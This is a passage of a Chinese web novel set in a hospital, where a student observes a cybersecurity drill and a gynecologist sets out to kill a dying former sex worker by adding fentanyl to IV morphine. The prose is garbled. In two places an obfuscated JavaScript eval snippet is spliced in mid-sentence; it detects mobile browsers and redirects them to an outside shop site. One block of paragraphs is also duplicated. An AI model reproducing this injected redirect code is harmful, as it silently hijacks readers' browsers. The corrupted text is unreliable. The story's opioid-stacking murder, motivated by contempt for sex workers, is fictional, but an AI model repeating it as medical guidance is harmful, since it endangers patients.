走到一楼大厅时,徐燕风又看到了那个穿格子衬衫的年轻男人——他还坐在那里但表情放松了许多,正和一个穿着白大褂的女医生说话。女医生约三十岁,胸牌上写着“儿科,林莎莎”。 是那个加班结束的姐姐。 徐燕风没有停留,走出主楼。雨已经开始下了,细密的雨丝被风吹斜。他撑开伞,走进雨幕。 脑子里还在回放刚才的场景:李凯蒂紧握文件夹的手指,张克帆整理衣领的手势,年轻男人无意识敲击的膝盖,还有那个母亲抱着孩子时近乎痉挛的力度。 这些细节,以前他不会注意。 但现在,每一个动作、每一个表情、每一个停顿,都在他眼里变成了可解读的密码。 他想起钟妍妍的话:“每个人都在演戏。” 那么钟妍妍自己呢?她在演什么?一个热心管教问题学生的妇科医生?一个训练新蛇的教官?还是别的什么? 而他自己,又在演什么?一个冲动的医学生?一个正在被改造的顽石?还是一条在学习如何隐□□牙的蛇? 雨越下越大。 徐燕风抬起头,让几滴雨打在脸上。冰凉的感觉让他清醒。 不管演什么,这场戏已经开始。 而他,必须演好自己的角色。 直到谢幕的那天——或者,直到他撕下面具的那天。 13. 眼镜蛇的觉醒 脑子里还在回放刚才的场景:李凯蒂紧握文件夹的手指,张克帆整理衣领的手势,年轻男人无意识敲击的膝盖,还有那个母亲抱着孩子时近乎痉挛的力度。 这些细节,以前他不会注意。 但现在,每一个动作、每一个表情、每一个停顿,都在他眼里变成了可解读的密码。 他想起钟妍妍的话:“每个人都在演戏。” 那么钟妍妍自己呢?她在演什么?一个热心管教问题学生的妇科医生?一个训练新蛇的教官?还是别的什么? 而他自己,又在演什么?一个冲动的医学生?一个正在被改造的顽石?还是一条在学习如何隐□□牙的蛇? 雨越下越大。 徐燕风抬起头,让几滴雨打在脸上。冰凉的感觉让他清醒。 不管演什么,这场戏已经开始。 而他,必须演好自己的角色。 直到谢幕的那天——或者,直到他撕下面具的那天。 周一凌晨零点,一场网络安全演练准时拉开了序幕。 凌晨零点零七分,徐燕风被手机震动声从睡梦中惊醒。屏幕上跳出的不是闹钟,而是一条加密短信,发件人显示为“系统通知”,格式和钟妍妍之前给他的U盘里的模板分毫不差:【第一阶段启动。观察窗口:00:00-06:00。重点区域:急诊科、重症监护室,妇产科。报告提交时限:08:00前。】 他坐起身,宿舍里一片漆黑,只有走廊应急灯的绿光顺着门缝钻进来。同宿舍的何念曦和薛耀溪还在熟睡,一个打着呼噜,一个小声梦呓。窗外远处,医院的轮廓在夜色里像一头蛰伏的巨兽,只有零星几个窗户亮着灯——分别是普外科、产房和急诊部。 徐燕风打开床头的小台灯,调到最暗的亮度,从书包的暗袋里拿出那个加密U盘,插进了笔记本电脑。U盘自动加载出一个简洁的日志界面,上面已经预先填好了几个字段:日期是演练第一天,时段为00:00-06:00,观察者是徐燕风,区域一栏等着填写,事件类型分为系统异常、人员异常、流程异常,描述要求事实记录且不超过200字,分析则是可选内容,同样不超过100字。 他合上电脑,轻手轻脚地下了床,穿上衣服。走到门口时,他停了一下,从抽屉里拿出一副平光眼镜戴上——不是因为近视,只是最简单的伪装,能稍微改变面部轮廓和反光。又从衣柜深处翻出一件深灰色的连帽卫衣,帽子很大,拉起来能遮住半张脸。 零点二十一分,他悄悄溜出了宿舍楼。 雨已经停了,但地面还是湿漉漉的,路灯在水洼里倒映出扭曲的光斑。这个时间点,周围空无一人,只有昆虫在草丛里鸣叫。 徐燕风走得很慢,脚步放得很轻,眼睛却像雷达一样扫视着四周。钟妍妍教过他:观察不是只看自己想看的,而是要留意一切不寻常的事物。路灯的闪烁频率、监控摄像头的转动角度、远处车辆经过的声音间隔——这些都是有用的信息。 主楼急诊科的入口亮着刺眼的白光。他绕到侧面,从员工通道的侧门进去。这个门平时需要刷卡,但演练期间所有门禁系统都处于“临时故障”状态,一推就开了。 走廊里比想象中安静。 不是没有人,而是所有人的动作都带着一种刻意的缓慢和谨慎。两个护士推着药车从他面前经过,车轮声很轻,她们低声交谈着,用的是徐燕风听不懂的方言。一个医生靠在护士站台边写记录,笔尖划过纸张的声音在寂静中被放大了不少。 徐燕风找了个不起眼的角落,背靠墙壁,拿出手机假装看信息,眼睛的余光却在仔细扫描整个区域。 零点三十五分,急诊抢救室的门突然打开,一个穿着刷手服的医生冲出来,手里拿着一个平板电脑,脚步很快但没有跑。他冲到护士站,对值班护士说了句什么,护士立刻抓起了电话。 徐燕风眯起了眼睛。那个医生的刷手服胸前没有绣名字——这不符合规定。而且他的平板电脑背面贴着一个醒目的黄色标签,上面写着一个数字“7”。 这是演练的标记。 果然,一分钟后,广播响了起来:“代码灰色,区域三。重复,代码灰色,区域三。” 代码灰色?徐燕风快速回忆医院的各种紧急代码:蓝色是心脏骤停,红色是火灾,黑色是炸弹威胁……灰色是什么? 护士站的反应给出了答案:所有护士立刻停止手头的工作,开始快速整理台面,把散落的纸张收进抽屉,将几台电脑的屏幕转向内侧。那个打电话的护士挂断后,从柜台下拿出一个黑色文件夹,开始在上面记录。 这是信息封锁流程。 灰色代码代表系统安全事件,疑似数据泄露或未授权访问。标准的应对措施是:暂停所有非必要电子记录,转为纸质记录,隔离可疑终端,记录所有异常访问。 徐燕风在手机备忘录里快速输入:【00:35,急诊科,代码灰色广播。护士站启动纸质记录流程。一名未绣名医生携带标记平板离开抢救室。疑似演练注入事件。】 他继续观察着。 零点四十二分,两个穿着IT部门制服的人匆匆走进急诊科,手里拎着工具箱。他们没有去护士站,而是直奔医生工作站——那里有三台电脑,其中一台的屏幕是黑的。 两人开始检修。……但徐燕风注意到一个细节:其中那个高个子的人,在弯腰检查主机时,左手一直按在腰间。那个位置……像是枪套。 医院的IT人员会配枪? 要么是伪装,要么是演练安排了专人扮演IT人员。 徐燕风悄悄举起手机,假装自拍,实则用前置摄像头拍下了那两人的背影和侧脸。画面虽然模糊,但也足够了。 凌晨一点十五分,急诊科暂时恢复了平静。广播没有更新内容,护士继续用纸质记录,患者依然在等待——演练期间,也安排了模拟患者。 徐燕风离开急诊科,按照计划上电梯前往六楼的重症监护室。但电梯全都停运了——这也是演练的安排。他改走楼梯,脚步声在空旷的楼梯间里回响,像是有另一个人在跟着他。 走到四楼半时,他停住了。 下方传来两个人的对话声,压得很低,但在楼梯井的放大作用下依然清晰: “……确认了,是儿科先触发的警报。” “关文晶值夜吧?” “对。她今天值夜,但系统记录显示她在00:03试图访问加密病历区,权限不足但触发了三级警报。演练指挥部判定为‘内部人员违规尝试’。” “她怎么说?” “她说是在查一个转院患儿的资料,不知道那个区域加密了。但监控显示,她在警报触发前两分钟,用个人U盘插入了工作站。” “复制数据?” “不清楚,U盘已经封存送检了。指挥部正在评估是否升级为‘内部威胁事件’。” 脚步声渐渐往下,远去了。 徐燕风靠在墙上,心跳加快。 关文晶?违规访问加密区域?还被抓了现行? 这不像一个女特工会犯的错误。以她的谨慎和专业,不可能在演练期间做这种明显违规的事——除非,她是故意的。 他想起上周钟妍妍说的话:“当系统瘫痪、秩序被打乱时,人们的表演会露出破绽。” 关文晶在演什么?一个粗心大意的医生?还是……一个在测试系统反应的测试者? 徐燕风继续往上走,脑子里快速分析着。如果关文晶是故意的,她的目的可能包括:测试加密区域的警报灵敏度、测试IT部门的响应速度、测试指挥部的判断标准。甚至可能,她在用自己作为诱饵,看看谁会跳出来指控她。 上到六楼,门是关着的,但透过玻璃窗能看到里面。徐燕风没有进去,而是站在窗外观察。 ICU里的灯光调暗了,只有患者床头的监护仪发着幽幽的光。几个护士在轻声走动,医生工作站空着——电脑全都黑屏了,纸质病历摊开在桌面上。 看起来很平静。 但徐燕风注意到最里面的那张病床旁,心电监护仪的波形不对劲。正常窦性心律应该是规律的P-QRS-T波群,但那个屏幕上的波形是模拟的。频率太完美,变异度为零。 这是演练安排的模拟患者。 他刚想记录,眼角余光瞥见一个身影从重症监护室另一侧的门离开。穿着白大褂,是女性,身材高挑,步态利落——是钟妍妍。 这个时间,妇科医生怎么会在重症监护室? 徐燕风没有跟上去,而是站在原地,继续观察钟妍妍离开后重症监护室里的变化。 果然,三十秒后,一个护士走到刚才钟妍妍停留过的那个模拟患者床边,从枕头下取出一个小巧的黑色设备,迅速塞进口袋。动作很快,但徐燕风看清了:那是一个便携式信号发射器,或者是信号干扰器。 钟妍妍在ICU放置了设备。 为什么? 徐燕风脑子飞快地运转着。ICU有全套的生命支持系统,呼吸机、透析机、输液泵……全都联网。如果某个设备被植入干扰器,可能会引发连锁故障。而演练期间,任何故障都会被优先调查。 她在测试医疗设备的网络安全漏洞。 或者说,她在帮演练指挥部测试。 徐燕风在手机里记录:【01:22,重症监护室,钟妍妍出现并疑似放置信号设备。护士随后回收。推测为演练安排的漏洞测试任务。】 他看了眼时间,凌晨一点半。该去最后一个区域:妇产科。 妇产科在九楼。徐燕风再次走楼梯上去,这次他更加警惕,每一步都控制着声音,在拐角处先停顿一下,用手机摄像头观察下方。 楼梯间里空无一人。 但走到八楼骨科时,他听见了争吵声。 护士站前,一个穿着病号服的中年男人正在拍打柜台:“我就要这个药!现在!医生开的处方,你们凭什么不给!” 值班的是个年轻的金发护士,她一脸为难地说:“先生,系统故障,我查不到您的处方记录。您有纸质处方吗?” “纸质?现在谁还用纸质!都在电脑里!”男人情绪激动,“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“患者”的脸色变了变,最终咕哝了一句什么,转身快步离开了。 药房前安静了下来。年轻的金发护士呆呆地看着徐燕风:“你……你是?” “路过的。”徐燕风转身要走,又回头补充了一句,“下次遇到这种情况,直接按紧急呼叫按钮……演练期间也要保持警惕。” 说完,他重新戴上眼镜,拉上帽子,消失在了楼梯间。 走上从B1层到地面的楼梯时,徐燕风才感觉到自己的心跳——平稳,有力,没有加速。 刚才那一连串的质问、逼近、施压,完全是本能反应。没有思考,没有犹豫,就像蛇在遇到威胁时本能地昂起头,露出毒牙。 而那个“患者”的反应也证明了一点:当你表现得足够确信、足够强势时,大多数人会先怀疑自己。 这是钟妍妍教过的:在对抗中,气场比事实更有用。 回到宿舍时,已经是凌晨两点半。徐燕风轻手轻脚地进门,那两个室友还在睡。他坐在书桌前,打开电脑,开始整理观察记录。 手指在键盘上快速敲击着,脑子里的画面和声音转化为文字。每一个细节,每一个时间点,每一个推测,都条理清晰。 写到药房那段时,他停顿了一下。 然后他删掉了自己介入的部分,只记录:“药房出现演练安排的‘激动患者’,金发护士应对失措。一分钟后患者自行离开。” 有些事,不需要写进报告里。 写完报告,加密后,通过U盘内置的通道发送了出去。发送时间显示为03:17,离截止时间还有四个多小时。 他关掉电脑,躺回床上。 黑暗中,他睁着眼睛看着天花板。 脑子里回放着今晚的一切:急诊科的灰色代码、楼梯间听到的关于关文晶的对话、ICU里钟妍妍放置的设备、骨科那个蹩脚的演员…… 这些碎片在黑暗中旋转、拼接,渐渐形成一个模糊的图案。 这场演练,不只是测试医院的网络安全。 它在测试人。 测试每个人的反应、选择、底线。 而他自己,也在被测试着。 徐燕风闭上眼,脑海里浮现出刚才在药房时,那个“患者”被他质问后退缩的眼神。那种眼神他见过——在网球场上,当他用轻浮的语气道歉时,关文晶眼里一闪而过的厌恶和轻视。 但现在不同了。 现在,他能让人退缩。 不是靠愤怒,不是靠冲动,而是靠冷静的分析、精准的打击、和那种“我知道你在演戏”的压迫感。 就像眼镜蛇。 不主动攻击,但一旦昂起头,就能让对手寒毛倒竖。 窗外,天色开始泛白。 演练还在继续。 而徐燕风知道,从今晚起,有些东西已经不一样了。 他不再是那个只会用油漆报复的毛头小子。 他是徐燕风。 一个正在学习如何成为蛇的人。 一个已经尝到毒牙滋味的人。 他翻了个身,在晨光透进窗帘前,沉沉睡去。 嘴角带着一丝自己都没有察觉的、冰冷的弧度。 14. 尖吻蝮的秘密 周三下午,十二楼妇科的最后一个患者离开时,已经过了下班时间四十分钟。 钟妍妍摘下听诊器,揉了揉有些发紧的眉心。窗外天色阴沉,厚重的乌云低低地压着,看样子随时都可能下一场大雨。她目光落在桌上的病历上——还有一份需要归档,患者叫阮氏香,28岁,诊断结果是晚期宫颈癌伴盆腔广泛转移。 病历旁边放着一张三十多年前的老照片。照片里的小女孩约莫五六岁,扎着两个羊角辫,穿着时髦的碎花裙,紧紧牵着一位穿红色唐装的母亲的手。母亲面容饱满白嫩,脸上带着温柔的笑意。 那是钟妍妍和她的母亲。曾经,她们也是幸福的一家人。 只是照片里父亲的位置是空着的——拍照那天,父亲说要去南非出差,一周就回来。可这一去就是三十多年,再也没了音讯。 后来母亲打听才知道,父亲是跟一个在发廊打工的女人跑了。据说,那个女人是做皮肉生意的。从那以后,她们的命运就坠入了深渊。 钟妍妍把照片收起来,锁进抽屉最底层。然后拿起阮氏香的病历,走出诊室。走廊的落地窗映出她的身影:白大褂穿得一丝不苟,头发整齐地盘在脑后,脸上没什么表情。 就像戴着一张完美的面具。 走廊里弥漫着消毒水和血腥味混合的气息,几个护士推着治疗车匆匆走过。钟妍妍走到护士站,值班护士抬头问:“钟医生,还没下班啊?” “去看看16床。”钟妍妍说,“她今天情况怎么样?” 护士翻了翻记录:“阮氏香吗?疼痛评分一直很高,早上用了10毫克吗啡,效果不太明显。刚才又说下腹坠痛,值班医生给加了5毫克。” “我去瞧瞧。” 16床在走廊尽头,是个单人病房——不是因为有什么特权,而是阮氏香的病会散发恶臭,同病房的患者实在受不了。钟妍妍推开门,一股腐烂的气味扑面而来,就算混着消毒液也盖不住。 病床上的阮氏香蜷缩着身体,脸色蜡黄,眼窝深陷。听到开门声,她勉强睁开眼,虚弱地说:“医生……” “感觉怎么样?”钟妍妍走到床边,拿起挂在床尾的体温单和护理记录。“疼……特别疼……”阮氏香的声音有气无力,“我是不是……快死了?” 钟妍妍没有直接回答。她掀开被子检查,阮氏香腹部的肿块已经突出皮肤,表面溃烂,还渗出黄褐色的液体。盆腔的转移灶压迫了输尿管,导致肾盂积水,肾功能也在不断恶化。按照以往的经验,这种晚期病例的预期生存期不会超过三个月。 但钟妍妍清楚,阮氏香恐怕连一个月都撑不过去。 “我给你调整一下止痛方案。”钟妍妍的声音平静得像在说天气,“改成静脉泵注,效果会好点。” “谢谢……谢谢钟医生……”阮氏香闭上眼睛,眼泪从眼角滑落,“我……我能不能求你件事?” “你说。” “我死了以后……能不能……别通知我家里人?”阮氏香的声音在发抖,“我不想让他们知道……我是得这种病死的……” 钟妍妍握笔的手顿了一下:“什么病?” “就是……这种病。”阮氏香转过头,避开钟妍妍的目光,“他们以为我在瑆洲做服务员……要是知道我……知道我其实是……他们会受不了的……” “你是哪里人?” “越南……” 钟妍妍看向病历上的诊断栏。那里写着“宫颈低分化鳞癌”,没提病因。但病史里有一行小字:患者自述有多个性伴侣,没规律体检,也没接种HPV疫苗。 还有一行更小的字,是钟妍妍自己加的备注:患者曾从事性服务工作至少五年。 “好。”钟妍妍说,“我尊重你的意愿。” 她离开病房,走到医生工作站,开始开医嘱。止痛方案从口服改成静脉泵注,基础剂量是:吗啡每小时2毫克,患者自控镇痛每次1毫克,锁定时间15分钟。 这是很标准的晚期癌痛治疗方案。 但她在追加医嘱里,加了一行: “必要时追加芬太尼透皮贴剂,每小时释放25微克,每72小时更换。” 芬太尼是强效阿片类药物,透皮吸收起效慢但作用持久。对于已经在用静脉吗啡的患者,叠加使用芬太尼透皮贴剂需要格外谨慎——两者协同作用可能会导致呼吸抑制。 钟妍妍在适应证栏写:“爆发痛控制不佳。” 在风险评估栏写:“已告知患者及家属风险,患者签署知情同意。”——可实际上,阮氏香没有家属,而且她的意识状态也不适合签署任何文件。 钟妍妍自己签了字。 打印好医嘱,交给护士。护士看了一眼,有些犹豫地说:“钟医生,这个剂量……” “患者疼痛难忍,生活质量很差。”钟妍妍打断她,“我们有责任缓解她的痛苦。按医嘱执行吧。” 护士张了张嘴,最终还是点了点头:“好的。” 钟妍妍转身离开护士站,回到门诊室。她关上门,坐在椅子上,望着窗外越来越暗的天色。 雨终于下了起来,豆大的雨点砸在玻璃上,发出密集的声响。 她想起很多年前,也是这样的雨天。母亲冒雨从工厂下班回家,浑身都湿透了,却还笑着说“今天多做了两小时,多挣了二百块钱”。那天晚上,母亲发了高烧,却舍不得花钱去看病,只喝了碗姜汤硬扛着。 第二天,母亲还是拖着病体去上工了。钟妍妍记得自己趴在窗户上,看着母亲瘦弱的背影消失在雨幕里,心里像被什么东西揪着一样疼。 她恨父亲。 更恨那个带走父亲的女人。 那个脏女人。父亲曾花言巧语地说:“我在南非找到了好工作,能挣大钱。等我安顿好了,就接你们过去。” 母亲信了。 可等来的却是邻居的闲言碎语:“听说钟大仓在城里跟一个发廊女好上了。”“那种女人最会勾引人了。”“钟家媳妇真可怜,一个人带着孩子……” 从那时起,母亲的背就佝偻了。不是因为劳累,而是因为抬不起头。 钟妍妍在学校也受尽了白眼。“她爸跟野女人跑了。”“她妈在工厂做最脏的活。”“她家穷得连双新鞋都买不起。” 她发誓一定要出人头地。拼命读书,考上医学院,成为医生……后来还参了军……她以为这样就能洗刷耻辱,让母亲能挺直腰杆。 可母亲没等到那一天。在她读研二的时候,母亲积劳成疾,得了肝癌晚期,发现时已经没救了。临终前,母亲拉着她的手说:“妍子,别恨你爸……他也是……被逼的……” 钟妍妍没有哭。她只是紧紧握着母亲的手,直到那双手变得冰冷。 从那以后,恨意就像一颗种子,在她心里生根发芽,长成了参天大树。 她恨所有破坏家庭的女人。 恨所有用身体换钱的女人。 恨所有像那个带走父亲的女人一样,不知廉耻、自甘堕落的女人。 手机震动起来,把她从回忆拉回现实。是一条加密信息: 【目标已确认。明晚23:00,码头三号仓库。携带设备A。】 钟妍妍删除信息,起身收拾东西。离开门诊室前,她回头看了一眼——墙上挂着“医者仁心”的牌匾,金色的字在灯光下闪着冷光。 仁心? 她冷笑一声。 有些人根本不配得到仁心。 就像那个阮氏香。还有之前那个兰珠。本来可以找份正经工作,可以嫁人生子,可以像正常人一样生活。可她们偏要选择躺着赚钱,选择出卖身体,选择染上脏病,然后躺在医院里,用那双肮脏的手抓住医生的白大褂,哀求着“救救我”。 救? 钟妍妍走出门诊室,锁好门。 电梯下行时,她看着楼层数字跳动,脑子里却在盘算:芬太尼贴剂通常需要12-24小时才能达到稳定的血药浓度。阮氏香已经用了静脉吗啡,呼吸中枢处于抑制状态。再加上芬太尼,很可能会在明天凌晨出现呼吸减慢、血氧下降的情况。 值班医生会怎么处理呢?可能会减少吗啡剂量,但芬太尼是透皮吸收的,没办法立刻清除。等他们意识到问题严重时,呼吸抑制或许已经不可逆了。 当然,这些都是“医疗风险”。晚期癌痛患者,在镇痛和呼吸抑制之间本就像走钢丝。任何医生都可能遇到这种情况。 只是,钟妍妍把这根钢丝调得更细了些。 细到,一碰就断。 电梯到了一楼,门打开。钟妍妍走出去,迎面撞上了关文晶。 两人同时停下脚步。 关文晶手里拿着一个文件夹,眼神锐利地看着钟妍妍:“钟医生,刚下班?” “嗯,有点事耽搁了。”钟妍妍微笑着问,“关医生也这么晚?” “儿科有个患儿病情有变化,处理了一下。”关文晶的目光扫过钟妍妍的白大褂口袋——那里露出半截笔,笔帽上的医院标志有点歪。 那是钟妍妍刚才开医嘱时用的笔,因为用力太猛,笔帽松了。 “钟医生看起来有点累。”关文晶说,“要注意休息。” “谢谢关心。”钟妍妍点了点头,侧身让开。 两人擦肩而过。 关文晶走进电梯,转身按下楼层键时,眼睛还盯着钟妍妍的背影。那个背影笔直又利落,可不知为什么,透着一股寒意。 电梯门关上了。 钟妍妍走出主楼,雨下得更大了。她撑开伞,走进雨幕中。 手机又震动了。这次是徐燕风发来的消息:【钟医生,今天的观察报告发您邮箱了。药房那个患者,我补充了细节:他离开时右腿微跛,但来时没有。可能是装的,也可能是真的受伤。】 钟妍妍回复: 【收到。明天上午十点,顶楼会议室,复盘演练第一阶段的观察。】 发送完消息,她收起手机。 雨夜的城市灯火模糊,像浸在水里的油画。钟妍妍站在公交站台等车,看着雨水中倒映的光影,忽然想起阮氏香那张蜡黄的脸。 那张脸上,依稀能看到当年那个发廊女的影子。 一样的年轻,一样的堕落,一样的……该死。 公交车来了。钟妍妍上了车,坐在最后一排靠窗的位置。车窗上凝结着水雾,她用指尖在上面划了一道。 一道清晰的痕迹,像手术刀划开皮肤。 车开动了,医院的红十字标志在雨幕中渐渐远去。 钟妍妍闭上眼睛。 脑海里又浮现出母亲临终前的眼神——那里面没有恨,只有深深的疲惫和释然。 “妍子……别恨……” 母亲的声音在记忆里飘忽。 钟妍妍握紧拳头,指甲深深掐进掌心。 不,母亲。 我做不到不恨。 有些人,必须付出代价。 就像疾病必须被切除,肿瘤必须被清除。 这是医生的天职。 也是她的,救赎。 公交车在雨夜中穿行,载着满身秘密的乘客,驶向各自的目的地。 而医院的十二楼妇科16床的监护仪上,阮氏香的呼吸频 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937032|192889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 率,正在不知不觉中,一点点变慢。 就像一条悄悄收紧的绞索。 无声无息。 却致命。 周五凌晨三点,儿科值班室的日光灯发出轻微的嗡鸣。关文晶坐在电脑前,屏幕幽蓝的光映在她脸上,让那双本就锐利的眼睛更添了几分寒意。 屏幕上不是病历系统,而是一个自建的网络监控界面。左侧是实时流量图,绿色的数据流像血管一样在拓扑图里脉动;右侧是一长串日志,红色标注的异常条目正以每秒两三条的速度增加。 **【03:07:23-异常访问:病历系统→患者档案库-加密区-三级权限】 【03:07:25-源IP:10.32.147.89(儿科医生工作站-3)-身份验证:关文晶 【03:07:27-目标档案:阮氏香,妇科住院患者,ID:20230517892 【03:07:30-访问结果:权限不足,操作被拒绝 【03:07:32-触发三级警报,日志已加密上传至安全审计服务器】 关文晶盯着那几行红字,指尖在桌面上轻轻敲击。 这是她第三次尝试访问阮氏香的病历。三次,全部被拒。三级加密——在医院内部系统中,这个级别通常只用于两类病例:涉及重大医疗纠纷正在调查的,或者涉及军方、政府要员的。 一个28岁的失足女,晚期宫颈癌,凭什么? 她调出阮氏香的基本信息界面——这是公开部分,能看到入院诊断、主管医生、床位号。主管医生一栏赫然写着:钟妍妍。 又是她。 关文晶靠回椅背,闭上眼睛。脑子里开始回放这两周的所有细节: 钟妍妍主动提出“管教”徐燕风。 顶楼那些不同寻常的“课程”。 停车场监控的精准干扰。 网络安全演练期间,重症监护室那个被快速回收的信号设备。 以及现在,这个被三级加密的妇科患者病历。 每一片拼图都在指向同一个结论:钟妍妍不是普通的妇科医生。她在执行某个任务,或者,她在掩盖某个秘密。 关文晶睁开眼,手指在键盘上飞舞。她调出医院内部的权限管理系统,输入自己的工号和密码——不是普通的二级权限账号,而是一个后缀带“#ADMIN”的管理员账户。 屏幕上弹出高级查询界面。她输入“钟妍妍”,选择“完整权限轨迹追踪”,时间范围设定为“过去六个月”。 进度条开始滚动。 等待的时间里,关文晶起身走到窗边。窗外是沉睡的城市,只有零星几点灯光,像散落的星辰。远处港口的方向,有一艘货轮正在离港,汽笛声穿透雨幕隐约传来。 她想起很多年前,爷爷的书房。那间书房很大,三面墙都是顶天立地的书架,摆满了精装的外文医学典籍。爷爷是瑆洲第一批留洋归来的外科医生,后来创办了瑆洲第一所中医学院 父亲是第二代,专攻五官科,后来从政。 而她,关文晶,关家的第三代,人称“关二小姐”——不是因为她排行老二,而是因为性格。姐姐关澜悦温柔娴静,而她从小倔强好胜,十四岁就敢跟爷爷辩论手术方案,十八岁报考医学院时不顾家里反对选儿科,理由是“孩子不会撒谎,病就是病,治就是治”。 爷爷当时气得摔了茶杯:“儿科?那是女人干的活儿!我们关家三代外科,到你这里要断吗?” 关文晶只是平静地回答:“爷爷,您说过,医者眼里只有患者,没有高低贵贱。那为什么儿科就低人一等?” 爷爷瞪着她,最后反而笑了:“好,好,像我们关家的人。去吧,但要记住,关家的人,要么不做,要做就做到最好。” 她做到了。医学院年年第一,住院医师培训期间就发表了五篇SCI论文,三十岁成为圣保罗医院最年轻的主治医师之一。 但家里没人知道,她还有另一层身份。那个身份,连爷爷和父亲都不清楚…… 屏幕“嘀”的一声,查询完成。 关文晶回到电脑前,扫视结果。 钟妍妍的权限记录非常干净——太干净了。过去六个月,她只访问了妇科相关的病历和系统,从未越界。每周三下午和周五上午的空白时段,系统记录显示她“在门诊”或“在手术室”,但具体操作日志全部缺失。 像是被刻意抹除了。 更可疑的是,钟妍妍的账号在三个月前有过一次“权限临时提升”,持续时间48小时,提升理由是“参与州卫生厅妇科肿瘤筛查项目”。但关文晶清楚,那个项目根本不存在——至少,官方记录里没有。 她调出那次权限提升的详细日志。提升操作来自一个高级管理员账户,账户名是一串乱码:X9F7#Q2T。她尝试追踪这个账户,系统提示:“权限不足,需要四级以上安全许可。” 她皱起眉。 四级许可?那是军方情报部门最高级别的权限。圣保罗医院虽然是军方定点医院,但日常运营用不到这么高的密级。 除非……医院里还存在某个未公开的情报节点。 而这个节点,正在保护钟妍妍。 关文晶关掉查询界面,清除浏览记录。然后她从白大褂内袋里取出那个备用手机拨了一个号码。 响了六声,接通。 “是我。”关文晶低声说,“查一个加密账户:X9F7#Q2T,归属机构应该是军方,可能关联医疗情报网络。另外,我要钟妍妍的完整背景资料,包括她加入圣保罗医院前的所有经历。” 15. 尖吻蝮vs锯鳞蝰 电话那头沉默了几秒,传来一个低沉的男声:“关二小姐,这个级别的调查需要理由。” “理由就是,她可能在杀人。”关文晶的声音冷得像冰,“一个妇科晚期癌症患者,病历被三级加密,主管医生是钟妍妍。我需要知道她在隐瞒什么。” “杀人?有证据吗?” “阮氏香,28岁,晚期宫颈癌。昨天下午她给她开了芬太尼贴剂叠加静脉吗啡。患者没有家属,意识状态不适合签署知情同意,但医嘱上有钟妍妍代签的‘已告知风险’。今晚三点患者呼吸抑制,血氧饱和度下降到85%,值班医生抢救后暂时稳定,但预后极差。” 关文晶停顿了一下:“我查了用药记录,芬太尼贴剂的剂量和适应证都符合规范,挑不出毛病。但以钟妍妍的水平,她不可能不知道两种强阿片类药物叠加的风险有多大。这要么是重大失误,要么是精心设计的‘医疗意外’。” 电话那头传来敲击键盘的声音。 “阮氏香的背景查了。”男声说,“越南籍,在瑆洲红灯区工作了五年,有吸毒史,多个性伴侣。社会关系简单,没有亲人过问。就算死了,也不会有人追究。” “所以她就该死?”关文晶的声音里透出一丝怒意。 “我不是这个意思。我是说,从功利角度看,这是一个完美的目标:没有社会价值,没有亲属追责,死亡可以归因于疾病本身。”男声平静地说,“如果你怀疑钟妍妍在利用职务之便清除特定人群,那么我们需要更多证据而不是推测。” 关文晶握紧手机:“我爷爷说过,医生手里握着生死大权所以每一步都要如履薄冰。如果钟妍妍真的在滥用这个权力,那她就不是医生,是屠夫。” “关二小姐,你太理想主义了。”男声叹了口气,“在这个地方,在瑆洲,每天都有无数个阮氏香这样的人无声无息地消失。有些死于疾病,有些死于暴力,有些死于……‘意外’。我们能做的很有限。” “那就从我眼皮底下这个开始。”关文晶斩钉截铁,“我要证据。查钟妍妍,查那个加密账户,查阮氏香入院前后所有的监控和记录。费用从我私人账户走,需要多少?” “这不是钱的问题……” “那就当是我,关文晶,关家二小姐,以个人名义委托的调查。”她打断对方,“你欠我父亲一个人情,记得吗?” 电话那头沉默了更久。 “三天。”男声最终说,“给三天时间。但我要提醒你,关二小姐,如果钟妍妍真的是军方某个系统的人,你这么做可能会触碰到某些不该碰的线。” “我知道。” “还有,你最近对那个医学院学生徐燕风关注太多了。他是钟妍妍的‘学生’,也是尹教官的学生对吧?”男声的语气变得严肃,“我建议你保持距离。钟妍妍在训练他,这件事本身就很不寻常。普通妇科医生不会教学生反审讯技巧和压力测试。” 关文晶眼神一凝:“你怎么知道她教了那些?”“我自然有我的渠道。”男声没有正面回答,“总之,小心点。蛇窝里不止一条蛇,来自各个系统都有……而最危险的那些,往往看起来最无害。” 电话挂断。 关文晶放下手机,靠在椅背上,长长地吐出一口气。 窗外的天色开始泛白,雨停了,晨雾笼罩着城市。医院的夜班即将结束,白班的人员很快会到来,新的一天又要开始。 她看了眼电脑屏幕,监控界面还在运行,绿色的数据流依然在脉动。 在这个庞大的系统里,每个人都是一个数据点,每一条操作记录都是一道痕迹。但有些痕迹被精心掩盖了,有些数据被加密保护了。 而她,关文晶,要做那个挖开掩盖、破解加密的人。 不是为了正义——她没那么天真。 只是为了弄清楚,在这个蛇窝里,到底有多少条蛇,各自在为谁吐信。 她站起身,走到洗手间,用冷水洗了把脸。镜子里的女人眼眶下有淡淡的黑眼圈,但眼神依然锐利,像淬火的刀。 关家二小姐。 儿科主治医师。 政保局女特工锯鳞蝰。 三个身份,三层面具。 而现在,她要用第三层身份,去撕开另一条蛇的面具。 她整理好白大褂,走出值班室。走廊里已经传来早班护士的脚步声和推车声。 新的一天开始了。 而游戏,进入了新的回合。 关文晶走向病房,开始晨间查房。她的表情恢复了平日的冷静专业,声音温和清晰,检查患儿时动作轻柔熟练。 没有人知道,就在几分钟前,她刚刚启动了一场针对同院医生的秘密调查。 也没有人知道,她的备用手机里,已经收到了一条新信息: 【已确认。 